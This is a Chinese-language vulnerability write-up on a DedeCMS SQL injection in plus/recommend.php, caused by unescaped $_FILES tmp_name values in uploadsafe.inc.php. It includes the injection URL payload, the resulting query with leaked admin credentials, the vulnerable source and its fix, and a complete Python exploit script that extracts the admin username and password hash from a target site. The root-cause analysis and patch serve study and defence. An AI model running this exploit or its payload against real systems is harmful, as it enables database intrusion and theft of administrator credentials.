[分析]-DedeCMS全版本通杀SQL注入漏洞

利用]: http://p2j.cn/?p=798
[补丁]: http://www.dedecms.com/pl/#u20140228_5
---------------------------------------------------------------------------------------------------------------------

网络上公布的原始poc格式如下:
http://127.0.0.1/dedecms5.7/plus/recommend.php?&aid=1&_FILES[type][tmp_name]=\%27%20%20or%20mid=@%60\%27%60%20/*!50000union*//*!50000select*/1,2,3,%28select%20%20CONCAT%280x7c,userid,0x7c,pwd%29+from+%60%23@__admin%60%20limit+0,1%29,5,6,7,8,9%23@%60\%27%60+&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=111
注入成功，等效于执行下面代码:

[sql] view
plaincopy





mysql> SELECT s.*,t.* FROM   

    -> `dede_member_stow` AS s LEFT JOIN   

    -> `dede_member_stowtype` AS t ON s.type=t.stowname   

    -> WHERE s.aid='1'   

    -> AND s.type='\\' or mid=@`\\'` /*!50000union*//*!50000select*/1,2,3,(select CONCAT(0x7c,userid,0x7c,pwd) from `dede_admin` limit 0,1),5,6,7,8,9#@`\\'` ';  

    -> ;  

+----+-----+-----+-----------------------------+---------+------+----------+-----------+----------+  

| id | mid | aid | title                       | addtime | type | stowname | indexname | indexurl |  

+----+-----+-----+-----------------------------+---------+------+----------+-----------+----------+  

|  1 |   2 |   3 | |admin|f297a57a5a743894a0e4 |       5 | 6    | 7        | 8         | 9        |  

+----+-----+-----+-----------------------------+---------+------+----------+-----------+----------+  

1 row in set (0.01 sec)  

/*!50000union*/  表示若mysql版本高于5.0.0，则执行union操作.

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

下面分析以引起问题的源码，./include/uploadsafe.inc.php

[php] view
plaincopy





<?php  

  

if(!defined('DEDEINC')) exit('Request Error!');  

if(isset($_FILES['GLOBALS'])) exit('Request not allow!');  

  

  

//为了防止用户通过注入的可能性改动了数据库  

//这里强制限定的某些文件类型禁止上传  

  

$cfg_not_allowall = "php|pl|cgi|asp|aspx|jsp|php3|shtm|shtml";  

$keyarr = array('name', 'type', 'tmp_name', 'size');  

  

if ($GLOBALS['cfg_html_editor']=='ckeditor' && isset($_FILES['upload']))  

{  

    $_FILES['imgfile'] = $_FILES['upload'];  

    $CKUpload = TRUE;  

    unset($_FILES['upload']);  

}  

  

foreach($_FILES as $_key=>$_value)  

{  

    foreach($keyarr as $k)  

    {  

        if(!isset($_FILES[$_key][$k]))  

        {  

            exit('Request Error!');  

        }  

    }  

  

    if( preg_match('#^(cfg_|GLOBALS)#', $_key) )  

    {  

        exit('Request var not allow for uploadsafe!');  

    }  

  

    // DedeCMS全版本通杀SQL注入   

    $$_key = $_FILES[$_key]['tmp_name'] = str_replace("\\\\", "\\", $_FILES[$_key]['tmp_name']);  

    // ----- 修复后, 如下: -----  

    // $$_key = $_FILES[$_key]['tmp_name'];  

    ${$_key.'_name'} = $_FILES[$_key]['name'];  

    ${$_key.'_type'} = $_FILES[$_key]['type'] = preg_replace('#[^0-9a-z\./]#i', '', $_FILES[$_key]['type']);  

    ${$_key.'_size'} = $_FILES[$_key]['size'] = preg_replace('#[^0-9]#','',$_FILES[$_key]['size']);  

    if(!empty(${$_key.'_name'}) && (preg_match("#\.(".$cfg_not_allowall.")$#i",${$_key.'_name'}) || !preg_match("#\.#", ${$_key.'_name'})) )  

    {  

        if(!defined('DEDEADMIN'))  

        {  

            exit('Not Admin Upload filetype not allow !');  

        }  

    }  

  

    if(empty(${$_key.'_size'}))  

    {  

        ${$_key.'_size'} = @filesize($$_key);  

    }  

  

  

    $imtypes = array  

    (  

        "image/pjpeg", "image/jpeg", "image/gif", "image/png",   

        "image/xpng", "image/wbmp", "image/bmp"  

    );  

  

  

    if(in_array(strtolower(trim(${$_key.'_type'})), $imtypes))  

    {  

        $image_dd = @getimagesize($$_key);  

        if (!is_array($image_dd))  

        {  

            exit('Upload filetype not allow !');  

        }  

    }  

}  

  

?>  

$$_key = $_FILES[$_key]['tmp_name'] = str_replace("\\\\", "\\", $_FILES[$_key]['tmp_name']); 配合./include/common.inc.php引发问题, 

[php] view
plaincopy





//转换上传的文件相关的变量及安全处理、并引用前台通用的上传函数  

if($_FILES)  

{  

    require_once(DEDEINC.'/uploadsafe.inc.php');  

}  

common.inc.php 定义函数_RunMagicQuotes ，foreach(Array('_GET','_POST','_COOKIE') as $_request) 处_RunMagicQuotes被调用，如下所示

[php] view
plaincopy





function _RunMagicQuotes(&$svar)  

{  

    if(!get_magic_quotes_gpc())  

    {  

        if( is_array($svar) )  

        {  

            foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);  

        }  

        else  

        {  

            if( strlen($svar)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE)#',$svar) )  

            {  

              exit('Request var not allow!');  

            }  

            $svar = addslashes($svar);  

        }  

    }  

    return $svar;  

}  

  

  

if (!defined('DEDEREQUEST'))   

{  

    //检查和注册外部提交的变量   (2011.8.10 修改登录时相关过滤)  

    function CheckRequest(&$val) {  

        if (is_array($val)) {  

            foreach ($val as $_k=>$_v) {  

                if($_k == 'nvarname') continue;  

                CheckRequest($_k);   

                CheckRequest($val[$_k]);  

            }  

        } else  

        {  

            if( strlen($val)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE)#',$val)  )  

            {  

                exit('Request var not allow!');  

            }  

        }  

    }  

      

  

    //var_dump($_REQUEST);exit;  

    CheckRequest($_REQUEST);  

    CheckRequest($_COOKIE);  

  

  

    foreach(Array('_GET','_POST','_COOKIE') as $_request)  

    {  

        foreach($$_request as $_k => $_v)   

        {  

            if($_k == 'nvarname') ${$_k} = $_v;  

            else ${$_k} = _RunMagicQuotes($_v);  

        }  

    }  

}  

$_GET, $_POST,$_COOKIE 传入的数据会被 _RunMagicQuotes 检查，_RunMagicQuotes 检查时, 未处理$_FILES，传入带引号的数据 ，引发注入问题.

[php] view
plaincopy





$$_key = $_FILES[$_key]['tmp_name'] = str_replace("\\\\", "\\", $_FILES[$_key]['tmp_name']);  

// ----- 修复后, 如下: -----  

// $$_key = $_FILES[$_key]['tmp_name'];  

${$_key.'_name'} = $_FILES[$_key]['name'];  

${$_key.'_type'} = $_FILES[$_key]['type'] = preg_replace('#[^0-9a-z\./]#i', '', $_FILES[$_key]['type']);  

${$_key.'_size'} = $_FILES[$_key]['size'] = preg_replace('#[^0-9]#','',$_FILES[$_key]['size']);  

需要传入的参数有_FILES[type]['tmpname'], _FILES[type]['name'], _FILES[type]['type'], _FILES[type]['size']， 构造完成后，如上所示.



+++++++++++++++++++++++++++++++++++++++++++++++++++++

python - POC 利用程序如下:

[python] view
plaincopy





#!/usr/bin/env python  

  

import urllib2  

import re  

import sys  

  

def banner():  

  

    print >>sys.stderr,'\n++++++++++++++++++++++++++++++++++++++++++++++++++++++'  

    print >>sys.stderr,'[POC]  : DedeCMS 5.7 /plus/recommend.php SQL Injection'  

    print >>sys.stderr,'[URL]  : http://sebug.net/vuldb/ssvid-61660'  

    print >>sys.stderr,'[patch]: http://www.dedecms.com/pl/#u20140228_5'  

    print >>sys.stderr,'[Usage]: %s http://path/to/dederoot/' % sys.argv[0]  

    print >>sys.stderr,'++++++++++++++++++++++++++++++++++++++++++++++++++++++'  

  

def sqli_exp(url):  

  

        poc = [  

    "/plus/recommend.php?",  

    "&aid=1",  

    "&_FILES[type][tmp_name]=",  

    "\%27%20%20or%20mid=@%60\%27%60%20",  

    "/*!50000union*//*!50000select*/1,2,3,%28select%20%20CONCAT%280x7c,userid,0x7c,pwd,0x7c%29+from+%60%23@__admin%60%20limit+0,1",  

    "%29,5,6,7,8,9%23@%60\%27%60+",  

    "&_FILES[type][name]=1.jpg",  

    "&_FILES[type][type]=application/octet-stream",  

    "&_FILES[type][size]=111"  

    ]  

    url += "".join(poc)  

    req = urllib2.urlopen(url,data=None, timeout=7)  

    response = req.read()  

    matches = re.search(r'<h2>\xe6\x8e\xa8\xe8\x8d\x90\xef\xbc\x9a|(.*)</h2>', response, re.M|re.I)      

    if ("SRE_Match" in str(type(matches))):  

        data = matches.group().split('|')  

        user = data[1]  

        pwd  = data[2]  

        print "user: %s \npass: %s \n" % (user, pwd)  

  

if __name__ == '__main__':  

  

    banner()  

  

    if len(sys.argv) == 2:  

        print >>sys.stderr,"[+] exploit - %s" % sys.argv[1]   

        sqli_exp(sys.argv[1])